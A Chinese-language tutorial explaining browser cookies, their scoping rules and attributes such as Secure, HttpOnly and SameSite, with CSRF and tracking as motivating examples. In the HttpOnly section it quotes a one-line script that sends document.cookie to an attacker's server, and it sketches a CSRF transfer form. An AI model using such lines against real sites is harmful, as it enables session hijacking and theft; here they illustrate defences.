cookie的介绍
我们都知道HTTP协议
是无状态
的,这种无状态意味着程序需要验证每一次请求,从而辨别客户端的身份。
Cookie
,就是为了辨别客户端身份而储存在客户端本地的数据。
Cookie
由服务器生成,发送给浏览器,浏览器把cookie
保存到内存中
或者某个目录下的文件内
,下一次请求同一网站时会把该cookie
发送给服务器。
比如谷歌浏览器的cookie文件:
由于cookie
是保存在客户端
上的,所以浏览器加入了一些限制确保 cookie 不会被恶意使用,同时不会占据太多磁盘空间,所以 cookie 的数量和大小
是有限的。
不同浏览器对 cookie 数量和大小的限制,是不一样的。一般来说,单个域设置的 cookie 不应超过50个
,每个 cookie 的大小不能超过4KB
。超过限制以后,cookie 将被忽略
,不会被设置。
cookie的作用
对话管理
:保存已登录用户的凭证简单的缓存
:存储一些简单的业务数据,比如购物车等需要记录的信息个性化
:保存用户的偏好,比如网页的字体大小、背景色等等追踪
:记录和分析用户行为
cookie的分类
第一方cookie
:由相同站点
发送的 cookie。第三方cookie
:由跨站请求
发送的cookie。
这里我们先了解一下概念,关于
相同站点
、跨站
的判断我们在讲到samesite
属性的时候再说。
会话cookie
:没有设置有效时间的 cookie。只要关闭了浏览器(注意不是关闭网页页面),cookie 就会被销毁。(cookie 存在于浏览器的内存中,当关闭了浏览器 cookie 就销毁了)永久cookie
:cookie 被保存在文件中,在有效时间内可长期存在,浏览器重启或机器重启都可以再次读取到cookie。
cookie的特性
后端通过http头设置
服务端
通过在http响应头
中设置一个或多个Set-Cookie
来设置 cookie。如下图:
请求时通过http头传给后端
浏览器接收到Set-Cookie
指令时,会将cookie
的名称与值储存在浏览器的cookie
存放区,并记录该cookie
隶属的域名、网址路径、创建时间、过期时间、是否脚本可访问、是否为安全连接 等属性。
当浏览器再次发出HTTP Request
指令到服务器时,就会比对目前在浏览器的 cookie 存放区有沒有该域名
、该路径
、尚未过期
以及符合其它一些条件的cookie
,如果有的话就会包含在 HTTP Request 指令的Cookie
头中,多个cookie
以分号;
分隔。如下图:
假设浏览器在请求一个网页时,该网页包含 20 张图、3 个 CSS 文件、2 个 JavaScript 文件,那么同样一份
cookie
就会发送 25 次到服务端,如果 cookie 的大小有 4K 的话,光是浏览一个网页你可能就要从你的电脑发送出 100KB 的数据。
所以使用 cookie 并非「多多益善」,而是要「小心使用」,否则会造成不必要的带宽浪费。
前端可读写
Javascript
可以使用document.cookie
对当前网站的cookie
进行读写:
注意:Javascript 可读写的 cookie 只能是没有用
http-only
限制的 cookie
// 读取浏览器中的cookie
console.log(document.cookie);
// 写入两个 cookie:myname 和 myhome
// 通过执行多次 document.cookie=... 语句来添加多个 cookie
document.cookie='myname=lhm;path=/;domain=.baidu.com';
document.cookie='myhome=gd;path=/;domain=.baidu.com';
- 如果要修改某个
cookie
,只需用document.cookie = ...
语句创建一个同名的cookie
,注意domain
和path
要保持一致。则原来的cookie
会被覆盖,达到修改的目的。 - 如果要删除某个
cookie
,用document.cookie = ...
语句将cookie
的过期时间修改为一个过去的时间,如下:
var exp = new Date();
exp.setTime(exp.getTime() - 1);
document.cookie = "myhome=gd;path=/;domain=.baidu.com;expires=" + exp.toGMTString();
将max-age
设置为0
也能达到删除的效果:
document.cookie = "myhome=gd;path=/;domain=.baidu.com;max-age=0";
遵守同源策略
这里的遵守同源策略是说
当前网页
只能访问与它同源
的 cookie。
是否同源
是用当前网页网址
和cookie
的domain
来判断的。
谷歌浏览器通过F12-Application-Storage-Cookies-当前域名
所查看到的 cookie,有两个来源,一是服务端
通过在http响应头
中设置的 cookie,二是浏览器
在本地
所读取到的 cookie。在本地读取 cookie 就需要遵守同源策略。
浏览器的
同源策略
中的同源
指的是协议
、域名
、端口
三者相同,而cookie
的同源
仅要求域名
,也就是说,两个网址只要域名相同,就可以共享cookie
,注意,这里不要求协议
和端口
相同。
所以https://example.com:8080/
和http://example.com:8081/
的cookie
是共享的,因为它们的domain
都是example.com
。同源策略认为
域
和子域
属于不同的域,例如child1.a.com
与a.com
、child1.a.com
与child2.a.com
、xxx.child1.a.com
与child1.a.com
两两不同源
。一个页面可以为
本域
和任何父域
设置cookie
,只要父域不是公共后缀(public suffix)即可。
所以两个不同的子域想要共享cookie
,只要把 cookie 的domain
设成相同的父域
即可。
比如,http://child1.a.com
和http://child2.a.com
想要共享cookie
,只要把它们的 cookie 的domain
设置成a.com
即可。
我在http://blog.csdn.net
页面设置一个cookie
,domain
设置为父域:
设置成功后在Application
Tab中可以查看新增的cookie
:
可以看到该cookie
的domain
的值为.csdn.net
。
然后我们再打开https://www.csdn.net/
页面,用document.cookie
来查看一下 cookie:
可以看到www.csdn.net
页面也可以访问我们刚刚在blog.csdn.net
页面新增的那个cookie
。
这就达到共享
的目的了。
设置
cookie
的时候,如果指定cookie
的所属域名为像上面例子中的.csdn.net
这样的顶级域名
,那么二级域名
和三级域名
不用做任何设置,都可以读取这个cookie
。
列个表格总结一哈:
(横向是 cookie 的 domain 值,纵向是当前地址栏中的网页网址,表格内容表示是否可以访问)
域/cookie.domain | molibird.com | .molibird.com | a.molibird.com | b.molibird.com |
---|---|---|---|---|
molibird.com/index.php | 可以 | 可以 | X | X |
a.molibird.com/index.php | X | 可以 | 可以 | X |
b.molibird.com/index.php | X | 可以 | X | 可以 |
Cookie 的属性
Expires,Max-Age
Expires
属性指定一个具体的到期时间
,到了指定时间以后,浏览器就不再保留这个cookie
。它的值是UTC
格式,可以使用Date.prototype.toUTCString()
进行格式转换。
Set-Cookie: id=a3fWa; Expires=Wed, 21 Oct 2015 07:28:00 GMT;
浏览器根据本地时间
,决定 cookie 是否过期,由于本地时间是不精确的,所以没有办法保证 cookie 一定会在服务器指定的时间过期。
Max-Age
属性指定从现在开始 cookie 存在的秒数
,比如60 * 60 * 24 * 365(即一年)
。过了这个时间以后,浏览器就不再保留这个 cookie。如果同时指定了
Expires
和Max-Age
,那么Max-Age
的值将优先生效。如果
Set-Cookie
字段没有指定Expires
或Max-Age
属性,那么这个cookie
就是Session Cookie
,即它只在本次对话存在,一旦用户关闭浏览器,浏览器就不会再保留这个cookie
。
Domain
Domain
属性指定浏览器发出HTTP
请求时,哪些域名要附带这个 cookie
。
如果没有指定该属性,浏览器会默认将其设为当前域名
,这时子域名将不会附带这个 cookie 。
比如,example.com
不设置 cookie 的domain
属性,那么sub.example.com
将不会附带这个 cookie 。
举例验证一下:
1、修改hosts文件,为本地设置了两个域名 2、在elin.com
下的页面设置cookie
,该 cookie 不设置domain
3、访问该页面并查看 cookie 4、访问db.elin.com
下的页面并查看 cookie 可以看到子域名并不能看到这个 cookie。
如果指定了domain
属性,那么子域名也会附带这个 cookie 。
继续用上面的例子验证:
1、修改elin.com
下的页面的cookie
设置,该 cookie 设置domain
2、清除该页面下的 cookie,重新访问该页面并查看 cookie 3、刷新db.elin.com
下的页面并查看 cookie 可以看到子域名可以看到这个 cookie。
如果服务器指定的域名不属于服务器当前域名
或者其父域名
,浏览器会拒绝这个 cookie 。
继续用上面的例子验证:
1、修改elin.com
下的页面的cookie
设置,该 cookie 的domain
设置为一个不相关的域名 2、清除该页面下的 cookie,重新访问该页面并查看 cookie 可以看到没有 cookie,浏览器拒绝了这个 cookie。
Path
Path
属性指定浏览器发出HTTP
请求时,哪些路径要附带这个cookie
。
只要浏览器发现,Path
属性值是HTTP
请求路径的开头一部分,就会在头信息里面带上这个 cookie 。
比如,Path
属性是/
,那么请求/docs
路径也会包含该cookie
。当然,前提是域名必须一致
。
Secure
Secure
属性指定浏览器只有在加密协议HTTPS
下,才能将这个cookie
发送到服务器。
该属性只是一个开关
,不需要指定值。
通过谷歌浏览器开发者工具控制台
设置一个Cookie具有Secure属性。
document.cookie = 'softwhy="antzone";max-age=1200;path=/;secure;'
上述代码执行结果会出现如下两种情况:
(1)如果站点采用HTTPS,那么Cookie生成成功。
(2)如果站点采用HTTP,那么Cookie生成失败。
上面是前端JavaScript写入Cookie,后端语言也遵循上面两条规则,看如下PHP代码:
<?php
setcookie("softwhy", "antzone", time()+3600, "/", "", 1);
?>
如果连接到后端的请求
采用 HTTPS,那么 Cookie 生成成功。
如果请求
采用 HTTP,那么 Cookie 生成失败,尽管在HTTP头部
有对应的 Set-Cookie 内容:
虽然在返回头中有 Set-Cookie 内容,但是不会真正成功生成对应的 Cookie。
HttpOnly
HttpOnly
属性指定该cookie
无法通过JavaScript
脚本拿到,主要是document.cookie
、XMLHttpRequest对象
和Request API
。这样就防止了该cookie
被脚本读到,只有浏览器发出HTTP
请求时,才会带上该cookie
。
(new Image()).src = "http://www.evil-domain.com/steal-cookie.php?cookie=" + document.cookie;
上面是跨站点载入的一个恶意脚本的代码,能够将当前网页的cookie
发往第三方服务器。如果设置了一个cookie
的HttpOnly
属性,上面代码就不会读到该cookie
。
SameSite
SameSite 的作用
Cookie 的 SameSite 属性就是用来限制第三方 Cookie,从而减少安全风险的。
Chrome 51 开始,浏览器的 cookie 新增加了一个SameSite
属性,SameSite 阻止浏览器将此 cookie 与跨站点请求一起发送,其主要目标是降低跨源信息泄漏的风险,同时也在一定程度上阻止了 CSRF 攻击和用户追踪。
Cookie 往往用来存储用户的身份信息,恶意网站可以设法伪造带有正确 cookie 的HTTP
请求,这就是CSRF 攻击
。
举例来说,用户登陆了银行网站your-bank.com
,银行服务器发来了一个 cookie
Set-Cookie:id=a3fWa;
用户后来又访问了恶意网站malicious.com
,上面有一个表单。
<form action="your-bank.com/transfer" method="POST">
...
</form>
用户一旦被诱骗发送这个表单,银行网站就会收到带有正确 cookie 的请求。
Cookie 的 domain (your-bank.com) 与当前访问的网站 (malicious.com) 不一样,这种 cookie 就称为第三方 cookie
。它除了用于 CSRF 攻击,还可以用于用户追踪。
比如,你的网页上请求了一张 Facebook 的图片,Facebook 返回数据的时候顺便返回了一个 cookie,这个 cookie 的 domain 是facebook.com
。
<img src="facebook.com/face.png">
下次你再访问 Facebook 时发出的请求就会带有这个 cookie,从而 Facebook 就会知道你是谁了。
SameSite 的值
Cookie 的SameSite
属性可以设置三个值:Strict
、Lax
、None
- Strict
Strict 是最严格的防护,将阻止浏览器在所有跨站点请求中将 cookie 发送到目标站点。因此这种设置可以阻止所有 CSRF 攻击。
Set-Cookie: CookieName=CookieValue; SameSite=Strict;
这个规则过于严格,可能造成非常不好的用户体验。比如,当前网页有一个 GitHub 链接,用户点击跳转就不会带有 GitHub 的 cookie,跳转过去总是未登陆状态。
不过,具有交易业务的网站很可能不希望从外站链接到任何交易页面,因此这种场景最适合使用 strict 标志。
- Lax
Lax
规则稍稍放宽,大多数情况也是不发送第三方 cookie,但是导航到目标网址的Get
请求除外。另外,使用JavaScript
脚本发起的请求也无法携带第三方 cookie。
Set-Cookie: CookieName=CookieValue; SameSite=Lax;
导航到目标网址的 GET 请求,只包括三种情况:链接
,预加载请求
,以 GET 方式提交的表单
。详见下表。
请求类型 | 示例 | 正常情况 | Lax |
---|---|---|---|
链接 | <a href="..."></a> |
发送 Cookie | 发送 Cookie |
预加载 | <link rel="prerender" href="..."/> |
发送 Cookie | 发送 Cookie |
GET 表单 | <form method="GET" action="..."> |
发送 Cookie | 发送 Cookie |
POST 表单 | <form method="POST" action="..."> |
发送 Cookie | 不发送 |
iframe | <iframe src="..."></iframe> |
发送 Cookie | 不发送 |
AJAX | $.get("...") |
发送 Cookie | 不发送 |
Image | <img src="..."> |
发送 Cookie | 不发送 |
设置了 Strict 或 Lax 以后,基本就杜绝了 CSRF 攻击。当然,前提是用户浏览器支持 SameSite 属性。
- None
Chrome 计划将 Lax 变为默认设置
。这时,网站可以选择显式关闭 SameSite 属性,将其设为None
。不过,前提是必须同时设置Secure
属性(Cookie 只能通过 HTTPS 协议发送),否则无效。
下面的设置无效。
Set-Cookie: widget_session=abc123; SameSite=None
下面的设置有效。
Set-Cookie: widget_session=abc123; SameSite=None; Secure
SameSite=None
的 cookie 会在同站请求、跨站请求下发送。
- 在旧版浏览器,如果
SameSite
属性没有设置,或者没有得到运行浏览器的支持,那么它的行为等同于None
,Cookies
会被包含在任何请求中——包括跨站请求。- 但是,在
Chrome 80+
版本中,SameSite
的默认属性是SameSite=Lax
。换句话说,当 Cookie 没有设置 SameSite 属性时,将会视作 SameSite 属性被设置为Lax
。如果想要指定 Cookies 在同站、跨站请求都被发送,那么需要明确指定 SameSite 为 None。具有 SameSite=None 的 Cookie 也必须标记为secure
并通过HTTPS
传送。- Chrome 也宣布,将在下个版本也就是
Chrome 83
版本,在访客模式
下禁用第三方 Cookie,在2022
年全面禁用第三方 Cookie,到时候,即使你能指定 SameSite 为 None 也没有意义,因为你已经无法写入第三方 Cookie 了。
跨站的判断
上面我们讲cookie的分类
的时候讲到第一方cookie
和第三方cookie
的区别就是:是否是相同站点
发送的(不同则为跨站)。
所以第三方cookie
也可以理解为跨站请求
所设置的cookie
。
所以,第三方cookie
定义中的跨站
与samesite
所作用的跨站请求
中的跨站
,两者的判断是一样的,所以我们放到一起来说。
那么怎么判断是不是形成跨站
了呢?
我们是拿 “请求的目标URL
(或者cookie
的domain
)” 和 “当前网站URL
(也就是浏览器地址栏中的网址)” 这两者来进行比较从而判断是否形成跨站的。
两者的ORIGIN
的注册域
相同则为相同站点
,不同则构成跨站
。所谓注册域
,是指您可以购买或租用的域名,即公共后缀(public suffix)之下的一级,也称为顶级域名
。
本文使用 mdnice 排版